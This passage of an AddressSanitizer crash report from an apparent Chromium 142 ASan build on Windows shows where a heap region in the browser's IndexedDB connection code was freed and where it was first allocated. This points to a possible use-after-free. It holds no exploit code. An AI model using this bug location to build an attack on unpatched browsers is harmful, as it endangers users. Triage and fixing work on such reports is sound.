0x1219128a2040 is located 64 bytes inside of 376-byte region [0x1219128a2000,0x1219128a2178)
freed by thread T8 here:
    #0 0x7ff9dad3d2c6  (I:\Chromium\chromium-142.0.7405.4-win64-asan\clang_rt.asan_dynamic-x86_64.dll+0x18005d2c6)
    #1 0x7ff8c88b8d70 in content::indexed_db::Connection::`scalar deleting dtor'(unsigned int) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection.cc:103:27
    #2 0x7ff8c80da3a9 in std::__Cr::default_delete<blink::mojom::LockHandle>::operator() C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__memory\unique_ptr.h:77
    #3 0x7ff8c80da3a9 in std::__Cr::unique_ptr<blink::mojom::LockHandle,std::__Cr::default_delete<blink::mojom::LockHandle> >::reset C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__memory\unique_ptr.h:290
    #4 0x7ff8c80da3a9 in std::__Cr::unique_ptr<blink::mojom::LockHandle,std::__Cr::default_delete<blink::mojom::LockHandle> >::~unique_ptr C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__memory\unique_ptr.h:259
    #5 0x7ff8c80da3a9 in mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::LockHandle>::~SelfOwnedAssociatedReceiver C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\self_owned_associated_receiver.h:111
    #6 0x7ff8c80da3a9 in mojo::internal::SelfOwnedAssociatedReceiver<class content::mojom::WebUI>::Close(void) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\self_owned_associated_receiver.h:72:18
    #7 0x7ff8c88bcb5d in mojo::internal::SelfOwnedAssociatedReceiver<class blink::mojom::IDBDatabase>::OnDisconnect(unsigned int, class std::__Cr::basic_string<char, struct std::__Cr::char_traits<char>, class std::__Cr::allocator<char>> const &) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\self_owned_associated_receiver.h:120:5
    #8 0x7ff8c88bd48d in base::internal::DecayedFunctorTraits<void (mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::IDBDatabase>::*)(unsigned int, const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > &),mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::IDBDatabase> *>::Invoke C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:730
    #9 0x7ff8c88bd48d in base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::IDBDatabase>::*&&)(unsigned int, const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > &),mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::IDBDatabase> *>,void,0>::MakeItSo C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:922
    #10 0x7ff8c88bd48d in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::IDBDatabase>::*&&)(unsigned int, const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > &),mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::IDBDatabase> *>,base::internal::BindState<1,1,0,void (mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::IDBDatabase>::*)(unsigned int, const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > &),base::internal::UnretainedWrapper<mojo::internal::SelfOwnedAssociatedReceiver<blink::mojom::IDBDatabase>,base::unretained_traits::MayNotDangle,0> >,void (unsigned int, const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > &)>::RunImpl C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:1059
    #11 0x7ff8c88bd48d in base::internal::Invoker<struct base::internal::FunctorTraits<void (__cdecl mojo::internal::SelfOwnedAssociatedReceiver<classblink::mojom::IDBDatabase>::*&&)(unsigned int, class std::__Cr::basic_string<char, struct std::__Cr::char_traits<char>, class std::__Cr::allocator<char>> const &), class mojo::internal::SelfOwnedAssociatedReceiver<class blink::mojom::IDBDatabase> *>, struct base::internal::BindState<1, 1, 0, void (__cdecl mojo::internal::SelfOwnedAssociatedReceiver<class blink::mojom::IDBDatabase>::*)(unsigned int, class std::__Cr::basic_string<char, struct std::__Cr::char_traits<char>, class std::__Cr::allocator<char>> const &), class base::internal::UnretainedWrapper<class mojo::internal::SelfOwnedAssociatedReceiver<class blink::mojom::IDBDatabase>, struct base::unretained_traits::MayNotDangle, 0>>, (unsigned int, class std::__Cr::basic_string<char, struct std::__Cr::char_traits<char>, class std::__Cr::allocator<char>> const &)>::RunOnce(class base::internal::BindStateBase *, unsigned int, class std::__Cr::basic_string<char, struct std::__Cr::char_traits<char>, class std::__Cr::allocator<char>> const &) C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:972:12
    #12 0x7ff8d07908e6 in base::OnceCallback<void (unsigned int, const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > &)>::Run C:\b\s\w\ir\cache\builder\src\base\functional\callback.h:155
    #13 0x7ff8d07908e6 in mojo::InterfaceEndpointClient::NotifyError(class std::__Cr::optional<struct mojo::DisconnectReason> const &) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc:775:45
    #14 0x7ff8d0774083 in mojo::internal::MultiplexRouter::ProcessNotifyErrorTask(struct mojo::internal::MultiplexRouter::Task *, enum mojo::internal::MultiplexRouter::ClientCallBehavior, class base::SequencedTaskRunner *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc:1078:13
    #15 0x7ff8d076a3a3 in mojo::internal::MultiplexRouter::ProcessTasks(enum mojo::internal::MultiplexRouter::ClientCallBehavior, class base::SequencedTaskRunner *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc:991:15
    #16 0x7ff8d076ff28 in mojo::internal::MultiplexRouter::Accept(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc:792:5
    #17 0x7ff8d078684a in mojo::MessageDispatcher::Accept(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc:43:19
    #18 0x7ff8d07ae378 in mojo::Connector::DispatchMessageW(class mojo::ScopedHandleBase<class mojo::MessageHandle>) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc:561:49
    #19 0x7ff8d07afcc0 in mojo::Connector::ReadAllAvailableMessages(void) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc:619:14
    #20 0x7ff8d07af6e7 in mojo::Connector::OnHandleReadyInternal C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc:450
    #21 0x7ff8d07af6e7 in mojo::Connector::OnWatcherHandleReady(char const *, unsigned int) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc:416:3
    #22 0x7ff8d07b1653 in base::internal::DecayedFunctorTraits<void (mojo::Connector::*)(const char *, unsigned int),mojo::Connector *,const char *const &>::Invoke C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:730
    #23 0x7ff8d07b1653 in base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (mojo::Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &>,void,0,1>::MakeItSo C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:922
    #24 0x7ff8d07b1653 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &>,base::internal::BindState<1,1,0,void (mojo::Connector::*)(const char *, unsigned int),base::internal::UnretainedWrapper<mojo::Connector,base::unretained_traits::MayNotDangle,0>,base::internal::UnretainedWrapper<const char,base::unretained_traits::MayNotDangle,0> >,void (unsigned int)>::RunImpl C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:1059
    #25 0x7ff8d07b1653 in base::internal::Invoker<struct base::internal::FunctorTraits<void (__cdecl mojo::Connector::*const &)(char const *, unsignedint), class mojo::Connector *, char const *const &>, struct base::internal::BindState<1, 1, 0, void (__cdecl mojo::Connector::*)(char const *, unsigned int), class base::internal::UnretainedWrapper<class mojo::Connector, struct base::unretained_traits::MayNotDangle, 0>, class base::internal::UnretainedWrapper<char const, struct base::unretained_traits::MayNotDangle, 0>>, (unsigned int)>::Run(class base::internal::BindStateBase *, unsigned int) C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:979:12
    #26 0x7ff8c155e79c in base::RepeatingCallback<(unsigned int)>::Run(unsigned int) const & C:\b\s\w\ir\cache\builder\src\base\functional\callback.h:343:12
    #27 0x7ff8c155e58f in base::internal::DecayedFunctorTraits<void (*)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>::Invoke C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:663
    #28 0x7ff8c155e58f in base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (*const &)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>,void,0>::MakeItSo C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:922
    #29 0x7ff8c155e58f in base::internal::Invoker<base::internal::FunctorTraits<void (*const &)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>,base::internal::BindState<0,1,0,void (*)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),base::RepeatingCallback<void (unsigned int)> >,void (unsigned int, const mojo::HandleSignalsState &)>::RunImpl C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:1059
    #30 0x7ff8c155e58f in base::internal::Invoker<struct base::internal::FunctorTraits<void (__cdecl *const &)(class base::RepeatingCallback<(unsignedint)> const &, unsigned int, struct mojo::HandleSignalsState const &), class base::RepeatingCallback<void __cdecl(unsigned int)> const &>, struct base::internal::BindState<0, 1, 0, void (__cdecl *)(class base::RepeatingCallback<(unsigned int)> const &, unsigned int, struct mojo::HandleSignalsState const &), class base::RepeatingCallback<void __cdecl(unsigned int)>>, (unsigned int, struct mojo::HandleSignalsState const &)>::Run(class base::internal::BindStateBase *, unsigned int, struct mojo::HandleSignalsState const &) C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:979:12
    #31 0x7ff8d0f660ab in base::RepeatingCallback<(unsigned int, struct mojo::HandleSignalsState const &)>::Run(unsigned int, struct mojo::HandleSignalsState const &) const & C:\b\s\w\ir\cache\builder\src\base\functional\callback.h:343:12
    #32 0x7ff8d0f659a5 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, struct mojo::HandleSignalsState const &) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc:278:14
    #33 0x7ff8d0f66b88 in base::internal::DecayedFunctorTraits<void (mojo::SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>::Invoke C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:730
    #34 0x7ff8d0f66b88 in base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>,void,0,1,2,3>::MakeItSo C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:946
    #35 0x7ff8d0f66b88 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>,base::internal::BindState<1,1,0,void (mojo::SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void()>::RunImpl C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:1059
    #36 0x7ff8d0f66b88 in base::internal::Invoker<struct base::internal::FunctorTraits<void (__cdecl mojo::SimpleWatcher::*&&)(int, unsigned int, struct mojo::HandleSignalsState const &), class base::WeakPtr<class mojo::SimpleWatcher> &&, int &&, unsigned int &&, struct mojo::HandleSignalsState &&>, struct base::internal::BindState<1, 1, 0, void (__cdecl mojo::SimpleWatcher::*)(int, unsigned int, struct mojo::HandleSignalsState const &), class base::WeakPtr<class mojo::SimpleWatcher>, int, unsigned int, struct mojo::HandleSignalsState>, (void)>::RunOnce(class base::internal::BindStateBase *) C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:972:12
    #37 0x7ff8d0a3c963 in base::OnceCallback<void ()>::Run C:\b\s\w\ir\cache\builder\src\base\functional\callback.h:155
    #38 0x7ff8d0a3c963 in base::TaskAnnotator::RunTaskImpl(struct base::PendingTask &) C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc:207:34
    #39 0x7ff8d09917cc in base::TaskAnnotator::RunTask C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h:104
    #40 0x7ff8d09917cc in base::internal::TaskTracker::RunTaskImpl C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:686
    #41 0x7ff8d09917cc in base::internal::TaskTracker::RunBlockShutdown(struct base::internal::Task &, class base::TaskTraits const &, class base::internal::TaskSource *, class base::internal::SequenceToken const &) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:679:3
    #42 0x7ff8d098fa5e in base::internal::TaskTracker::RunTaskWithShutdownBehavior C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:704
    #43 0x7ff8d098fa5e in base::internal::TaskTracker::RunTask(struct base::internal::Task, class base::internal::TaskSource *, class base::TaskTraitsconst &) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:501:5
    #44 0x7ff8d098eb0e in base::internal::TaskTracker::RunAndPopNextTask(class base::internal::RegisteredTaskSource) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:391:5
    #45 0x7ff8d09792d5 in base::internal::WorkerThread::RunWorker(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:473:36
    #46 0x7ff8d097813f in base::internal::WorkerThread::RunPooledWorker(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:359:3
    #47 0x7ff8d0885d13 in base::`anonymous namespace'::ThreadFunc C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:114:13
    #48 0x7ff9dad3beee  (I:\Chromium\chromium-142.0.7405.4-win64-asan\clang_rt.asan_dynamic-x86_64.dll+0x18005beee)
    #49 0x7ffa1fffe8d6  (C:\WINDOWS\System32\KERNEL32.DLL+0x18002e8d6)

previously allocated by thread T10 here:
    #0 0x7ff9dad3c6ff  (I:\Chromium\chromium-142.0.7405.4-win64-asan\clang_rt.asan_dynamic-x86_64.dll+0x18005c6ff)
    #1 0x7ff8c88f5279 in std::__Cr::make_unique C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__memory\unique_ptr.h:759
    #2 0x7ff8c88f5279 in content::indexed_db::Database::CreateConnection(class std::__Cr::unique_ptr<class content::indexed_db::DatabaseCallbacks, struct std::__Cr::default_delete<class content::indexed_db::DatabaseCallbacks>>, class mojo::Remote<class storage::mojom::IndexedDBClientStateChecker>, class base::UnguessableToken, int) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\database.cc:1097:21
    #3 0x7ff8c88d0734 in content::indexed_db::ConnectionCoordinator::OpenRequest::StartUpgrade(void) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection_coordinator.cc:337:24
    #4 0x7ff8c88d123a in base::internal::DecayedFunctorTraits<void (content::indexed_db::ConnectionCoordinator::OpenRequest::*)(),base::WeakPtr<content::indexed_db::ConnectionCoordinator::OpenRequest> &&>::Invoke C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:730
    #5 0x7ff8c88d123a in base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (content::indexed_db::ConnectionCoordinator::OpenRequest::*&&)(),base::WeakPtr<content::indexed_db::ConnectionCoordinator::OpenRequest> &&>,void,0>::MakeItSo C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:946
    #6 0x7ff8c88d123a in base::internal::Invoker<base::internal::FunctorTraits<void (content::indexed_db::ConnectionCoordinator::OpenRequest::*&&)(),base::WeakPtr<content::indexed_db::ConnectionCoordinator::OpenRequest> &&>,base::internal::BindState<1,1,0,void (content::indexed_db::ConnectionCoordinator::OpenRequest::*)(),base::WeakPtr<content::indexed_db::ConnectionCoordinator::OpenRequest> >,void ()>::RunImpl C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:1059
    #7 0x7ff8c88d123a in base::internal::Invoker<struct base::internal::FunctorTraits<void (__cdecl content::indexed_db::ConnectionCoordinator::OpenRequest::*&&)(void), class base::WeakPtr<class content::indexed_db::ConnectionCoordinator::OpenRequest> &&>, struct base::internal::BindState<1, 1, 0, void (__cdecl content::indexed_db::ConnectionCoordinator::OpenRequest::*)(void), class base::WeakPtr<class content::indexed_db::ConnectionCoordinator::OpenRequest>>, (void)>::RunOnce(class base::internal::BindStateBase *) C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:972:12
    #8 0x7ff8c88c954e in base::OnceCallback<void ()>::Run C:\b\s\w\ir\cache\builder\src\base\functional\callback.h:155
    #9 0x7ff8c88c954e in content::indexed_db::ConnectionCoordinator::ConnectionRequest::ContinueAfterAcquiringLocks(class base::OnceCallback<(void)>) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection_coordinator.cc:125:28
    #10 0x7ff8c88c7e7b in content::indexed_db::ConnectionCoordinator::OpenRequest::OnNoConnections(void) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection_coordinator.cc:325:5
    #11 0x7ff8c88cabc9 in content::indexed_db::ConnectionCoordinator::OpenRequest::ContinueOpening(bool) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection_coordinator.cc:287:7
    #12 0x7ff8c88c9c30 in content::indexed_db::ConnectionCoordinator::OpenRequest::InitDatabase(bool) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection_coordinator.cc:227:5
    #13 0x7ff8c88cffe4 in base::internal::DecayedFunctorTraits<void (content::indexed_db::ConnectionCoordinator::OpenRequest::*)(bool),base::WeakPtr<content::indexed_db::ConnectionCoordinator::OpenRequest> &&,bool &&>::Invoke C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:730
    #14 0x7ff8c88cffe4 in base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (content::indexed_db::ConnectionCoordinator::OpenRequest::*&&)(bool),base::WeakPtr<content::indexed_db::ConnectionCoordinator::OpenRequest> &&,bool &&>,void,0,1>::MakeItSo C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:946
    #15 0x7ff8c88cffe4 in base::internal::Invoker<base::internal::FunctorTraits<void (content::indexed_db::ConnectionCoordinator::OpenRequest::*&&)(bool),base::WeakPtr<content::indexed_db::ConnectionCoordinator::OpenRequest> &&,bool &&>,base::internal::BindState<1,1,0,void (content::indexed_db::ConnectionCoordinator::OpenRequest::*)(bool),base::WeakPtr<content::indexed_db::ConnectionCoordinator::OpenRequest>,bool>,void ()>::RunImpl C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:1059
    #16 0x7ff8c88cffe4 in base::internal::Invoker<struct base::internal::FunctorTraits<void (__cdecl content::indexed_db::ConnectionCoordinator::OpenRequest::*&&)(bool), class base::WeakPtr<class content::indexed_db::ConnectionCoordinator::OpenRequest> &&, bool &&>, struct base::internal::BindState<1, 1, 0, void (__cdecl content::indexed_db::ConnectionCoordinator::OpenRequest::*)(bool), class base::WeakPtr<class content::indexed_db::ConnectionCoordinator::OpenRequest>, bool>, (void)>::RunOnce(class base::internal::BindStateBase *) C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:972:12
    #17 0x7ff8c8a4472b in base::OnceCallback<void ()>::Run C:\b\s\w\ir\cache\builder\src\base\functional\callback.h:155
    #18 0x7ff8c8a4472b in content::indexed_db::PartitionedLockManager::MaybeGrantLocksAndIterate(class std::__Cr::__list_iterator<struct content::indexed_db::PartitionedLockManager::AcquisitionRequest, void *>, bool) C:\b\s\w\ir\cache\builder\src\components\services\storage\indexed_db\locks\partitioned_lock_manager.cc:159:54
    #19 0x7ff8c8a431a7 in content::indexed_db::PartitionedLockManager::AcquireLocks(class base::internal::flat_tree<struct content::indexed_db::PartitionedLockManager::PartitionedLockRequest, struct std::__Cr::identity, struct std::__Cr::less<void>, class std::__Cr::vector<struct content::indexed_db::PartitionedLockManager::PartitionedLockRequest, class std::__Cr::allocator<struct content::indexed_db::PartitionedLockManager::PartitionedLockRequest>>>, struct content::indexed_db::PartitionedLockHolder &, class base::OnceCallback<(void)>, class base::RepeatingCallback<(struct content::indexed_db::PartitionedLockHolder const &)>) C:\b\s\w\ir\cache\builder\src\components\services\storage\indexed_db\locks\partitioned_lock_manager.cc:104:3
    #20 0x7ff8c88c9851 in content::indexed_db::ConnectionCoordinator::ConnectionRequest::ContinueAfterAcquiringLocks(class base::OnceCallback<(void)>)C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection_coordinator.cc:135:25
    #21 0x7ff8c88c75cf in content::indexed_db::ConnectionCoordinator::OpenRequest::Perform(bool) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection_coordinator.cc:200:7
    #22 0x7ff8c88c4a02 in content::indexed_db::ConnectionCoordinator::ExecuteTask(bool) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\connection_coordinator.cc:671:14
    #23 0x7ff8c88e7b90 in content::indexed_db::Database::RunTasks(void) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\database.cc:325:33
    #24 0x7ff8c8890bc9 in content::indexed_db::BucketContext::RunTasks(void) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\bucket_context.cc:484:24
    #25 0x7ff8c88a42bf in base::internal::DecayedFunctorTraits<void (content::indexed_db::BucketContext::*)(),base::WeakPtr<content::indexed_db::BucketContext> &&>::Invoke C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:730
    #26 0x7ff8c88a42bf in base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (content::indexed_db::BucketContext::*&&)(),base::WeakPtr<content::indexed_db::BucketContext> &&>,void,0>::MakeItSo C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:946
    #27 0x7ff8c88a42bf in base::internal::Invoker<base::internal::FunctorTraits<void (content::indexed_db::BucketContext::*&&)(),base::WeakPtr<content::indexed_db::BucketContext> &&>,base::internal::BindState<1,1,0,void (content::indexed_db::BucketContext::*)(),base::WeakPtr<content::indexed_db::BucketContext> >,void ()>::RunImpl C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:1059
    #28 0x7ff8c88a42bf in base::internal::Invoker<struct base::internal::FunctorTraits<void (__cdecl content::indexed_db::BucketContext::*&&)(void), class base::WeakPtr<class content::indexed_db::BucketContext> &&>, struct base::internal::BindState<1, 1, 0, void (__cdecl content::indexed_db::BucketContext::*)(void), class base::WeakPtr<class content::indexed_db::BucketContext>>, (void)>::RunOnce(class base::internal::BindStateBase *) C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:972:12
    #29 0x7ff8d0a3c963 in base::OnceCallback<void ()>::Run C:\b\s\w\ir\cache\builder\src\base\functional\callback.h:155
    #30 0x7ff8d0a3c963 in base::TaskAnnotator::RunTaskImpl(struct base::PendingTask &) C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc:207:34
    #31 0x7ff8d09917cc in base::TaskAnnotator::RunTask C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h:104
    #32 0x7ff8d09917cc in base::internal::TaskTracker::RunTaskImpl C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:686
    #33 0x7ff8d09917cc in base::internal::TaskTracker::RunBlockShutdown(struct base::internal::Task &, class base::TaskTraits const &, class base::internal::TaskSource *, class base::internal::SequenceToken const &) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:679:3
    #34 0x7ff8d098fa5e in base::internal::TaskTracker::RunTaskWithShutdownBehavior C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:704
    #35 0x7ff8d098fa5e in base::internal::TaskTracker::RunTask(struct base::internal::Task, class base::internal::TaskSource *, class base::TaskTraitsconst &) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:501:5
    #36 0x7ff8d098eb0e in base::internal::TaskTracker::RunAndPopNextTask(class base::internal::RegisteredTaskSource) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:391:5
    #37 0x7ff8d09792d5 in base::internal::WorkerThread::RunWorker(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:473:36
    #38 0x7ff8d097813f in base::internal::WorkerThread::RunPooledWorker(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:359:3
    #39 0x7ff8d0885d13 in base::`anonymous namespace'::ThreadFunc C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:114:13
    #40 0x7ff9dad3beee  (I:\Chromium\chromium-142.0.7405.4-win64-asan\clang_rt.asan_dynamic-x86_64.dll+0x18005beee)
    #41 0x7ffa1fffe8d6  (C:\WINDOWS\System32\KERNEL32.DLL+0x18002e8d6)
    #42 0x7ffa21388d9b  (C:\WINDOWS\SYSTEM32\ntdll.dll+0x180008d9b)

Thread T10 created by T8 here:
    #0 0x7ff9dad3be04  (I:\Chromium\chromium-142.0.7405.4-win64-asan\clang_rt.asan_dynamic-x86_64.dll+0x18005be04)
    #1 0x7ff8d088503c in base::`anonymous namespace'::CreateThreadInternal C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:182:7
    #2 0x7ff8d097677f in base::internal::WorkerThread::Start(class scoped_refptr<class base::SingleThreadTaskRunner>, class base::WorkerThreadObserver*) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:185:3
    #3 0x7ff8d0987377 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_group.cc:89:13
    #4 0x7ff8d098704d in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_group.cc:80:3
    #5 0x7ff8d097df82 in base::internal::ThreadGroupImpl::ScopedCommandsExecutor::~ScopedCommandsExecutor C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_group_impl.cc:43
    #6 0x7ff8d097df82 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(class base::internal::WorkerThread *) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_group_impl.cc:465:1
    #7 0x7ff8d0979108 in base::internal::WorkerThread::RunWorker(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:460:52
    #8 0x7ff8d097813f in base::internal::WorkerThread::RunPooledWorker(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:359:3
    #9 0x7ff8d0885d13 in base::`anonymous namespace'::ThreadFunc C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:114:13
    #10 0x7ff9dad3beee  (I:\Chromium\chromium-142.0.7405.4-win64-asan\clang_rt.asan_dynamic-x86_64.dll+0x18005beee)
    #11 0x7ffa1fffe8d6  (C:\WINDOWS\System32\KERNEL32.DLL+0x18002e8d6)
    #12 0x7ffa21388d9b  (C:\WINDOWS\SYSTEM32\ntdll.dll+0x180008d9b)

Thread T8 created by T0 here:
    #0 0x7ff9dad3be04  (I:\Chromium\chromium-142.0.7405.4-win64-asan\clang_rt.asan_dynamic-x86_64.dll+0x18005be04)
    #1 0x7ff8d088503c in base::`anonymous namespace'::CreateThreadInternal C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:182:7
    #2 0x7ff8d097677f in base::internal::WorkerThread::Start(class scoped_refptr<class base::SingleThreadTaskRunner>, class base::WorkerThreadObserver*) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:185:3
    #3 0x7ff8d0987377 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_group.cc:89:13
    #4 0x7ff8d098704d in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_group.cc:80:3
    #5 0x7ff8d097bb77 in base::internal::ThreadGroupImpl::ScopedCommandsExecutor::~ScopedCommandsExecutor C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_group_impl.cc:43
